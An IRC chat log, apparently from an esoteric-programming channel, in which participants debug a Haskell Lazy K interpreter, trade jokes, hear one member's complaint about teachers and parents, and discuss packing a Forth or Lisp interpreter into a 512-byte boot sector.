17:44:33 <elliott> 14:43:47 <oklopol> i actually made an assignment! :)
17:44:33 <elliott> 14:43:53 <pikhq> . . . Yes?
17:44:33 <elliott> 14:45:30 <oklopol> Math.
17:44:34 <elliott> 14:45:41 <pikhq> . . .
17:44:36 <elliott> 14:45:55 <oklopol> i've done maybe 10 in high school if you don't count exams, so i'm very proud -_______-
17:44:39 <elliott> hi oerjan
17:44:49 <oerjan> hi elliott
17:44:54 <elliott> 15:42:15 <oklopol> ya i assigned my foot in yer ass :\
17:44:54 <elliott> 15:45:11 <oklopol> I had to carry out a derivation manually :OO
17:44:55 <elliott> 15:45:18 <oklopol> verry omg!
17:45:42 <elliott> oerjan: i considered implementing reaper.
17:45:52 <elliott> oerjan: the syntax put me off a bit :D
17:46:16 <oerjan> ...the spec is not really finished.
17:46:37 <elliott> oerjan: well i was just going to implement what you had there ;D.
17:46:38 <oerjan> the syntax is supposed to be _worse_ than it seems in the article.
17:46:41 <elliott> enough to make cat work
17:46:41 <elliott> *no .
17:46:44 <elliott> oerjan: fff, what
17:46:56 <elliott> howso
17:47:17 <elliott> well, i see you've missed the fact that you have to end classes with the class name again or whatever
17:47:26 <oerjan> um no
17:47:31 -!- boily has joined.
17:48:52 <oerjan> repeating class names that way is only necessary to make a prototype declaration...
17:48:53 <elliott> oerjan: well whatever :D
17:48:56 <elliott> ah
17:49:01 <elliott> @src (,) >>=
17:49:01 <lambdabot> Source not found. You untyped fool!
17:49:04 <elliott> @src (,)( >>=)
17:49:05 <lambdabot> Source not found. Take a stress pill and think things over.
17:49:08 <elliott> @src (,) (>>=)
17:49:08 <lambdabot> Source not found. I've seen penguins that can type better than that.
17:49:11 <elliott> @src ((,) a) (>>=)
17:49:12 <lambdabot> Source not found. I've seen penguins that can type better than that.
17:49:14 <elliott> fuck you lambdabot
17:49:24 <elliott> > (1,2) >> (3,4)
17:49:25 <lambdabot> No instance for (GHC.Base.Monad ((,) t))
17:49:26 <lambdabot> arising from a use of `e_11234'...
17:49:26 <oerjan> which is necessary to do because in reaper, parsing requires you to know the arity of each class
17:49:27 <elliott> oh
17:49:27 <elliott> :D
17:49:31 <elliott> > (1,2) <$> (3,4)
17:49:32 <lambdabot> Couldn't match expected type `a -> b'
17:49:32 <lambdabot> against inferred type `(t, t1)'
17:49:36 <elliott> durr
17:49:39 <elliott> > succ <$> (3,4)
17:49:40 <lambdabot> (3,5)
17:49:52 <elliott> hmm is (a,) a monad?
17:50:06 <oerjan> it _could_ be a Writer (if a is a Monoid)
17:50:30 <oerjan> but i don't think the instances are in the standard libraries
17:50:47 <elliott> basically i have
17:50:50 <elliott> data Sem = Fun (Sem -> (Sem, String))
17:50:58 <elliott> and want to make it, you know, less of a pain to stack applications...
17:51:17 <elliott> (a,_) >> (c,d) = (a `mappend` c, d) ?
17:51:19 <elliott> maybe not
17:51:24 <elliott> err, yes
17:51:25 <oerjan> yes
17:51:38 <elliott> So I want (String, Sem).
17:52:50 <elliott> @pl \(a,x) f -> let (b,y) = f x in (a `mappend` b, y)
17:52:51 <lambdabot> (line 1, column 17):
17:52:51 <lambdabot> unexpected "("
17:52:51 <lambdabot> expecting "()", natural, identifier or "in"
17:52:54 <elliott> X_X
17:53:58 <elliott> apparently
17:53:59 <elliott> (:$) :: Sem -> Sem -> (String, Sem)
17:54:02 <elliott> is an invalid type signature
17:54:33 <oerjan> yes :$ is a constructor
17:55:06 <elliott> oh right
17:55:34 <elliott> (I'm writing a Lazy K implementation)
17:55:41 <Phantom_Hoover> Well, I questioned some teachers and as such I am having my laptop forcibly removed. Bye for tonight at least, in all probability.
17:55:48 -!- Phantom_Hoover has left (?).
17:56:17 <elliott> o_O
17:56:38 <elliott> Moving on to topics other than the fact that PH's parents are clearly insane fools,
17:56:40 <elliott> combS = Fun $ \x -> Fun $ \y -> Fun $ \z -> x $$ z >>= (flip ($$) <$> (y $$ z))
17:56:43 <elliott> IT JUST KEEPS GETTING MORE AND MORE READABLE
17:57:47 <elliott> is Functor ((,) a) in Prelude? I think so
17:57:56 * Gregor lols @ Phantom_Hoover
17:58:09 <oerjan> ... i think it's in Control.Monad.Instances
17:58:39 <olsner> what the... poor hoover
17:58:51 <Deewiant> combS = Fun $ \x -> Fun $ \y -> Fun $ liftM2 (>>=) (x$$) ((flip ($$) <$>) . (y$$))
17:58:55 <oerjan> instance Functor ((,) a) -- Defined in Control.Monad.Instances
17:59:04 <elliott> Deewiant: wow, you made it even better
18:00:13 <oerjan> elliott: hm it's possible Prelude imports it?
18:00:20 <elliott> oerjan: whatevs ;D
18:00:58 <oerjan> ghci seems to imply so
18:01:11 <elliott> Couldn't match expected type `Sem' against inferred type `m b'
18:01:11 <elliott> In the first argument of `liftM2', namely `(>>=)'
18:01:12 <olsner> apparently, in my language the S combinator is just [1,0]
18:01:14 <elliott> GUESS DEEWIANT SUCKS AT CODING
18:01:18 <elliott> olsner: what lang?
18:01:37 <Deewiant> elliott: I assumed that's (x $$ z) >>= blaa, I guess it's x $$ (z >>= blaa)
18:01:52 <olsner> elliott: http://www.esolangs.org/wiki/1337
18:02:33 <olsner> basically the only operator is the X combinator, but you can choose its precedence
18:02:38 <elliott> olsner: that's cheating, you have S built in :)
18:02:39 <Deewiant> combS = Fun $ \x -> Fun $ \y -> Fun $ (x $$) . ap (>>=) ((flip ($$) <$>) . (y $$))
18:03:02 <elliott> Deewiant: That is truly impressively ugly.
18:03:16 <elliott> snorlax.hs:23:50:
18:03:16 <elliott> Couldn't match expected type `Sem' against inferred type `m a'
18:03:20 <elliott> :D
18:03:25 <elliott> I'm just gonna, you know, use do notation.
18:03:27 <Deewiant> :t ap (>>=)
18:03:28 <lambdabot> forall (m :: * -> *) a b. (Monad m) => (m a -> a -> m b) -> m a -> m b
18:07:24 <elliott> Man... Lazy K has ever so slightly fucked up semantics.
18:09:14 -!- cheater- has quit (Ping timeout: 240 seconds).
18:12:31 -!- cheater- has joined.
18:16:18 <Gregor> JUST NOTICED:
18:16:22 <Gregor> libreoffice = lib reoffice
18:16:26 <Gregor> FFFFFFFFFFFFFUUUUUUUUUUUUUUUUUUUUUUU
18:16:35 <elliott> Gregor: what
18:16:47 <Gregor> Libre Office, the spinoff of OpenOffice
18:16:50 <elliott> Yes
18:16:51 <elliott> And?
18:16:59 <Gregor> libreoffice, as in the reoffice library.
18:17:01 <Deewiant> Is a library, libreoffice.
18:17:12 <elliott> Is it?
18:17:32 <Gregor> No, it's not. But it creates a naming ambiguity because not everything that starts with "lib" is a library >: (
18:17:35 <elliott> Is this just "everything starting with 'lib' is funny", or is there actually a library called reoffice.
18:17:54 <Gregor> Everything that starts with "lib" should be a library! D-8
18:17:58 <elliott> Gregor: Libido libraries liberate Libby.
18:18:08 <Deewiant> Gregor: libtool?
18:18:16 <elliott> <Gregor> AAAAAAAAAAAAAAAAAH
18:18:45 <Gregor> Pfff, at least libtool has some kind of excuse.
18:18:58 <Gregor> Not that there's any excuse for libtool in the year 2011 :P
18:20:21 <oerjan> the rary library
18:22:58 <elliott> oerjan, what's a better apply constructor than :$.
18:22:59 <elliott> SO NOISY
18:24:32 <oerjan> :> :- :. :\
18:24:50 <oerjan> :<
18:24:56 <elliott> :<
18:24:57 <elliott> so sad
18:24:58 <elliott> :<
18:25:05 <elliott> it's okay little constructor
18:25:06 <elliott> :<
18:25:10 <elliott> everything is going to be alright
18:25:10 <elliott> ...
18:25:11 <elliott> ...
18:25:12 <elliott> :>
18:25:15 <Deewiant> What's wrong with :$
18:25:23 <elliott> Deewiant: *Main> S :$ I :$ I :$ (S :$ I :$ I)
18:25:23 <elliott> ((S :$ I) :$ I) :$ ((S :$ I) :$ I)
18:25:24 <elliott> Noiiiiisy
18:25:46 <Deewiant> If you say so :-P
18:25:59 <elliott> In my font at least :P
18:26:29 <elliott> Now why doesn't SII(SII) diverge :P
18:29:19 <elliott> yay, power cut out again
18:29:42 <oerjan> elliott: you might want to declare :$ infixl
18:29:47 <elliott> i did
18:29:51 -!- pikhq_ has quit (Ping timeout: 246 seconds).
18:29:52 -!- pikhq has joined.
18:29:54 <elliott> like a boss.
18:29:59 <elliott> Show just doesn't realise.
18:30:04 -!- poiuy_qwert has joined.
18:30:05 <oerjan> oh.
18:31:40 <oerjan> "Parentheses are only added where needed, ignoring associativity."
18:31:42 <oerjan> sigh
18:32:59 <elliott> oerjan: :D
18:33:05 <elliott> oerjan: i like how that's a contradiction.
18:33:39 <oerjan> ...it may obey _precedence_ but not associativity.
18:34:10 <elliott> oerjan: yes, but that means it adds parentheses when not needed
18:34:14 <elliott> whereas it says that parentheses are only added when needed.
18:35:14 -!- augur has quit (Ping timeout: 276 seconds).
18:35:26 <oerjan> mu
18:39:51 <elliott> oerjan: moo
18:49:26 -!- asiekierka has quit (Ping timeout: 246 seconds).
18:59:47 <elliott> oerjan: bring that ais fellow back in here
19:08:53 -!- MigoMipo has joined.
19:26:39 <elliott> psht
19:35:18 -!- pikhq_ has joined.
19:35:47 -!- pikhq has quit (Ping timeout: 276 seconds).
19:48:11 -!- Alex_Meg1roide has quit (Ping timeout: 240 seconds).
19:55:00 -!- pikhq has joined.
19:55:24 -!- pikhq_ has quit (Ping timeout: 264 seconds).
19:58:25 -!- Phantom_Hoover has joined.
19:58:32 <Phantom_Hoover> 09:56:38 <elliott> Moving on to topics other than the fact that PH's parents are clearly insane fools,
19:58:36 <Phantom_Hoover> It got worse.
19:58:45 <elliott> Banned FOREVER?
19:59:19 <elliott> * Gregor lols @ Phantom_Hoover
19:59:20 <elliott> <olsner> what the... poor hoover
19:59:25 <elliott> If Gregor and olsner are both trying to save your life...
19:59:29 <elliott> I'd concentrate on olsner.
19:59:34 <elliott> JUST A TIP
19:59:44 <Phantom_Hoover> They're now trying to convince me that this is enough to get me kicked out of my (state) school, and that this basically means I'll be on a straight line to the dole queue.
19:59:59 <elliott> X-D
20:00:03 <elliott> What on earth happened?
20:00:14 <elliott> Did you stab a teacher or something? :-P
20:00:55 <Phantom_Hoover> (This follows *years* of them trying to get me to stop being so "arrogant" about my abilities by telling me constantly that I have shaky chances of passing my (trivial) exams, and that I won't get into university unless I spend all of my time working.)
20:01:22 <elliott> Phantom_Hoover: Move out before you're 21 or I'll give you the Sgeo treatment.
20:01:54 <olsner> virginmedia.com, guessing PH is american then?
20:02:00 <elliott> olsner: Uhhh... no.
20:02:07 <elliott> Try Scottish.
20:02:22 <olsner> oh, scottish! I know a scotsman
20:02:28 <elliott> Try SCOTTISH, available from all good retailers!
20:03:03 <Phantom_Hoover> What happened was that I confronted a teacher about some dubious claims she had made to my parents, which resulted in them phoning my parents directly and making even *more* dubious claims (read: lies).
20:03:12 <elliott> Dubious claims?
20:03:25 <Phantom_Hoover> You'd think I had stabbed a teacher, or at least taken out a knife, the way they're going on about it.
20:03:50 -!- wetneb has joined.
20:03:58 <elliott> "Honestly, I used a spoon and everything."
20:04:02 <elliott> "It was downright HUMANE!"
20:04:30 <Phantom_Hoover> They are saying that apparently I was "threatening" and that the teacher was "frightened" by me (or at least my mother is saying they did), despite the fact that she showed no signs of any emotion other than outrage at this insubordination.
20:05:27 -!- Phantom_Hoover has quit (Quit: Page closed).
20:05:55 <elliott> Sounds like fun
20:08:24 -!- Phantom_Hoover has joined.
20:08:33 <olsner> so what did you do?
20:09:14 <olsner> and why won't your parents protect you against the evil teachers and their lies??
20:10:20 <Phantom_Hoover> olsner: because they are either really spineless or think that I'm just making trouble and trying to cover for it.
20:10:40 <Phantom_Hoover> It varies from incident to incident.
20:10:51 -!- Gregor has left (?).
20:10:52 -!- wetneb has quit (Quit: Leaving.).
20:10:52 -!- Gregor has joined.
20:11:14 <Gregor> Note to self: ctrl+shift+right click = close channel.
20:12:23 <Phantom_Hoover> So yeah, if I disappear, it's either paranoia or them finding me using another computer and going nuts.
20:13:00 <Gregor> Seeing other people talk about their parents makes me realize my parents are upwards of 87% sane.
20:13:56 <olsner> I consider mine about as sane as me
20:14:20 <Gregor> My parents being 87% sane makes them considerably more sane than me.
20:15:33 <elliott> Phantom_Hoover: So was that disconnect you?
20:16:13 <elliott> Gregor: People don't exactly devote time to saying "Today, my parents were reasonable, sane, liberal, understanding, enlightened individuals and supported me."
20:17:13 <elliott> Gregor: MAYBE YOU COULD BE THE FIRST.
20:17:14 -!- Sgeo has joined.
20:17:18 -!- elliott has left (?).
20:17:20 -!- elliott has joined.
20:17:27 <elliott> Wow, ctrl+shift+right click really does leave the channel.
20:17:35 <elliott> Oh, and just as we're talking about insane parents and those who talk about them, Sgeo arrives.
20:17:37 <Phantom_Hoover> elliott's mother seems sane enough, although the whole unit thing stops me from envying him.
20:17:50 <elliott> I've mentioned my mother like... thrice
20:18:02 <elliott> Good to know you have made extensive deductions based on that :P
20:18:45 <Phantom_Hoover> Well, I should go now.
20:18:48 -!- Phantom_Hoover has left (?).
20:19:52 <Sgeo> Meh
20:20:00 <Sgeo> My dad keeps saying that I can transfer if I want
20:20:00 <Sgeo> >.>
20:28:57 <elliott> "Sad but true... this application has been removed from your computer." --uninstaller
20:30:12 -!- TLUL has joined.
20:32:14 <Sgeo> Oh right, elliott can't yell at me because I'm ignored.
20:35:41 -!- Alex_Megaroide has joined.
20:36:54 -!- MigoMipo_ has joined.
20:39:09 -!- MigoMipo has quit (Ping timeout: 240 seconds).
20:59:03 -!- Phantom_Hoover has joined.
20:59:48 -!- MigoMipo_ has quit (Read error: Connection reset by peer).
21:00:07 <Phantom_Hoover> 12:20:00 <Sgeo> My dad keeps saying that I can transfer if I want
21:00:15 <elliott> Sgeo: So transfer.
21:00:24 <elliott> Jesus, if you even have his approval...
21:00:25 <Phantom_Hoover> I can actually sympathise with Sgeo quite a bit...
21:00:39 <elliott> HOW CAN YOU SYMPATHISE WITH A COLD, HEARTLESS BEAST OF A MAN*
21:00:44 <elliott> *COLDNESS, HEARTLESSNESS UNCONFIRMED
21:01:24 <elliott> C:\gnu\bin\gunzip: C;/Users/Elliott/c-intercla/C:\gnu\bin/gzip.exe: No such file or directory
21:01:25 <elliott> FAIL
21:02:12 -!- Phantom_Hoover has quit (Remote host closed the connection).
21:02:15 <elliott> hmph, ais' build system is broken
21:02:24 <elliott> it doesn't handle bash 1 on win32
21:04:17 <elliott> Can configure be used to generate a Makefile appropriate for compiling on another system? pikhq?
21:14:58 -!- boily has quit (Quit: leaving).
21:15:22 -!- yorick has quit (Read error: Operation timed out).
21:16:06 -!- Tritonio has joined.
21:18:32 -!- Tritonio has quit (Client Quit).
21:19:12 -!- yorick has joined.
21:21:59 -!- yorick has quit (Read error: Operation timed out).
21:23:39 -!- Mathnerd314 has joined.
21:28:48 -!- augur has joined.
21:29:56 -!- Sgeo has quit (Ping timeout: 240 seconds).
21:41:47 -!- Phantom_Hoover has joined.
21:46:42 -!- Phantom_Hoover has quit (Ping timeout: 272 seconds).
21:47:26 -!- Phantom_Hoover has joined.
21:52:24 -!- Phantom_Hoover has quit (Ping timeout: 272 seconds).
21:53:17 -!- Phantom_Hoover has joined.
22:00:09 <elliott> 22:04:47 <lament> well, there's quite a lot of aztecs in mexico
22:00:10 <elliott> 22:05:05 <lament> they tend to be very poor
22:00:10 <elliott> 22:05:24 <andreou> they just reject the monetary fantasies of the westerners
22:00:10 <elliott> 22:05:40 <lament> no, they don't, they're simply poor
22:01:27 <Phantom_Hoover> XD
22:20:15 -!- Phantom_Hoover has quit (Ping timeout: 272 seconds).
22:28:50 -!- cheater00 has joined.
22:33:31 -!- augur has quit (*.net *.split).
22:33:32 -!- cheater- has quit (*.net *.split).
22:33:33 -!- EgoBot has quit (*.net *.split).
22:33:33 -!- tswett has quit (*.net *.split).
22:33:34 -!- lambdabot has quit (*.net *.split).
22:33:54 -!- EgoBot has joined.
22:34:53 -!- tswett has joined.
22:35:51 -!- augur has joined.
22:45:08 -!- pikhq_ has joined.
22:45:31 -!- pikhq has quit (Ping timeout: 264 seconds).
22:52:39 <pikhq_> Aaaand another B on a math test, simply because I have little ability to pay attention to small details.
22:53:10 <oerjan> beware of the epsilons
22:53:29 <pikhq_> What gets me by in math (and CS, really) is that I find abstractions *easy*.
22:54:00 <elliott> hmm, does x86-64 itself limit the stack?
22:54:15 <pikhq_> elliott: Yes. It has a finite address space.
22:54:23 <pikhq_> *Aside from that*, no.
22:54:24 <elliott> pikhq_: :|
22:55:02 <elliott> pikhq_: So the only worry is it running into other memory, basically...
22:55:09 -!- pikhq_ has changed nick to pikhq.
22:56:10 <pikhq> elliott: Yeah. IIRC, Linux (and probably any other OS) limits the stack simply by allocating memory to it so that trying to go beyond the stack limit is a page fault.
22:56:21 <elliott> pikhq: Right.
22:56:30 <elliott> pikhq: I just want to fit a Lisp into a boot sector. :p
22:56:47 <pikhq> elliott: A boot *sector*? That's going to be hard.
22:56:52 <pikhq> elliott: 512 bytes and all.
22:57:02 <elliott> pikhq: It's more space than you'd think...
22:57:11 <elliott> The actual lisp EVAL and APPLY are trivial, can be done in dozens of bytes of machine code.
22:57:18 <pikhq> I'd imagine it's *just* enough space to get a Forth...
22:57:18 <elliott> The parser, more complicated. Keyboard input too, but you can use the BIOS.
22:57:25 <elliott> I think it'd be possible. Although without many functions.
22:57:41 <elliott> pikhq: Remember, the original EVAL was hand-translated to compact machine code.
22:57:41 <pikhq> Of course, you could then Forth you a Lisp. :P
22:57:53 <elliott> Forth might be interesting.
22:58:05 <pikhq> Hmm... Well, Lisp does have the advantage that its data structures are really, really simple.
22:58:28 <pikhq> And by "data structures" I mean "cons cell".
23:04:20 <elliott> pikhq: Exactly.
23:04:31 <elliott> pikhq: All you need are symbols and cons cells.
23:04:35 <elliott> Symbol:
23:04:40 <elliott> <WORD (length)> <CHARS>
23:04:42 <elliott> Cons:
23:04:47 <elliott> <WORD (car)> <WORD (cdr)>
23:05:03 <elliott> Oh, and for symbols you need a simple hash table. But you could just do it as a linked list for simplicity.
23:05:09 <elliott> Or even...
23:05:12 <elliott> ...naw :P
23:05:18 <elliott> (Had a terrible idea, realised it wouldn't work.)
23:06:10 -!- azaq23 has joined.
23:07:02 <elliott> pikhq: Forth might be more practical.
23:07:24 <pikhq> elliott: Well, yes, Forth is pretty much *ideal* for this use case.
23:07:38 <elliott> pikhq: Really I just want to pack a language into a bootsector so that assembly becomes completely unnecessary.
23:08:00 <elliott> i.e., I want to pack an interpreter for some language, plus code to load more sectors and execute them, into 512 bytes. (The code to load and execute more sectors could be Forth, but assembly is likely more practical.)
23:08:00 <pikhq> Forth does that more-so than others.
23:08:11 <elliott> Obviously the Forth might have to use inline machine-code later on, but if you have peek and poke...
23:08:21 <elliott> Oh, and out/in port instructions.
23:08:27 <elliott> pikhq: This is tempting now...
23:08:47 <pikhq> Though the out/in port instructions could come via peek and poke'ing a word together.
23:09:02 <pikhq> Mmm, Forth.
23:09:53 <elliott> http://www.rstudio.org/ <-- Bloody statisticians get nicer tools running on computers than we computer guys do.
23:13:14 <Mathnerd314> you too could use R
23:15:11 <elliott> What, for _programming_?
23:15:13 <elliott> That sounds painful.
23:18:34 <Mathnerd314> it has a C FFI... it's probably not any more painful than using Haskell
23:19:19 <elliott> Mathnerd314: Err, I don't know about you but I can get 99% of what I want to do done in Haskell without using the C FFI...
23:19:42 <elliott> R is very geared to statistics only... why would you say Haskell would be as painful?
23:19:52 <pikhq> Haskell isn't even painful to use in general.
23:20:02 <pikhq> Though it can be on occasion in specific cases.
23:25:51 <elliott> pikhq: Hmm, I'm thinking a Forth console in 512 bytes is totally doable...
23:26:25 <elliott> pikhq: Although the memory model might be a pain. I suppose getting into flat-memory-model protected is the best idea.
23:26:35 <elliott> Since even unreal mode requires doing that, and then jumping back out.
23:26:39 <elliott> Unfortunately that closes off the BIOS.
23:29:05 <elliott> pikhq: Cool, there are (were) 512-byte OS contests.
23:32:28 <pikhq> elliott: Well, you could actually switch between real and protected mode if you *insist* on accessing the BIOS.
23:32:44 <elliott> Ouch.
23:32:55 <elliott> It's just more convenient to start with :P
23:33:13 <pikhq> Oh, hey, you *can* access the BIOS from unreal mode.
23:34:11 <elliott> pikhq: But not protected mode.
23:34:19 <elliott> (Unreal mode is just like flat-memory protected mode, but you can cacess the BIOS.)
23:35:11 <pikhq> And with 16-bit pointers.
23:39:01 -!- azaq231 has joined.
23:39:01 <pikhq> Erm, no, not 16-bit pointers. Uh... 32-bit pointers, but you generally are only going to have 16-bit data pointers.
23:39:09 <pikhq> Erm, code pointers.
23:39:12 <pikhq> Not data.
23:39:43 <pikhq> Because most interrupts will not preserve the high bits in EIP.
23:40:06 <elliott> pikhq: Maybe protected mode would be best :P
23:40:27 -!- azaq23 has quit (Ping timeout: 240 seconds).
23:40:57 <elliott> The question now is: You can fit a Forth compiler into 510 bytes (2 for signature), but can you fit peeking, poking, port in/out words, and some sort of machine-code-word-making word, *and* a keyboard interface, into the remaining space?
23:41:13 <elliott> The keyboard code _could_ use the BIOS... except it'd be done in protected mode.
23:41:20 <elliott> So you'd have to read and write the port manually.
23:41:29 <elliott> Which makes me think it might bite off more space than is left to chew.
23:41:31 <pikhq> elliott: You'd probably do best fitting your Forth compiler with a load word.
23:42:14 <pikhq> Hmm.
23:42:19 <elliott> pikhq: But, but, I want to have a 512-byte file that I can "dd" to 512-byte media, put in a 512-byte drive, boot up, and use Forth!
23:42:29 <pikhq> Problem with getting into protected mode: that's not tiny.
23:42:31 <elliott> Admittedly a very minimal Forth where you get to write all the stdlib yourself.
23:42:51 <elliott> pikhq: Protected mode can be done in about 5 instructions + a tiny tiny table, with a sufficiently modern BIOS...
23:42:54 <elliott> (Fast A20)
23:43:05 <elliott> Err, not fast A20. Is it? It's some BIOS call, anyway.
23:43:13 <pikhq> Oh, right, newer BIOS features.
23:43:33 <elliott> : + [ 213982374982374198236 x86 ] ;
23:43:35 <elliott> (Or equivalent :P)
23:52:13 -!- Sgeo has joined.
23:55:56 -!- azaq231 has quit (Ping timeout: 240 seconds).
23:56:01 <elliott> pikhq: Actually, I wonder how big ColorForth is...
23:56:18 <Sgeo> I'm bored, what fun can I have with an EFI shell?
23:56:37 <elliott> *coloeForth
23:57:14 <elliott> pikhq: Well, color.com is 64k.
23:57:20 <elliott> But then that's the maximum COM size.
23:57:22 <elliott> I suspect it is padded.
23:57:34 <Sgeo> Maybe I should learn colorForth
23:57:53 <elliott> pikhq:
23:57:55 <elliott> ftp://ftp.ultratechnology.com/BOOT.ASM
23:57:56 <elliott> ftp://ftp.ultratechnology.com/COLOR.ASM
23:58:04 <elliott> This isn't too far off a boot sector...
←2011-01 2011-02 2011-03→ ↑2011 ↑all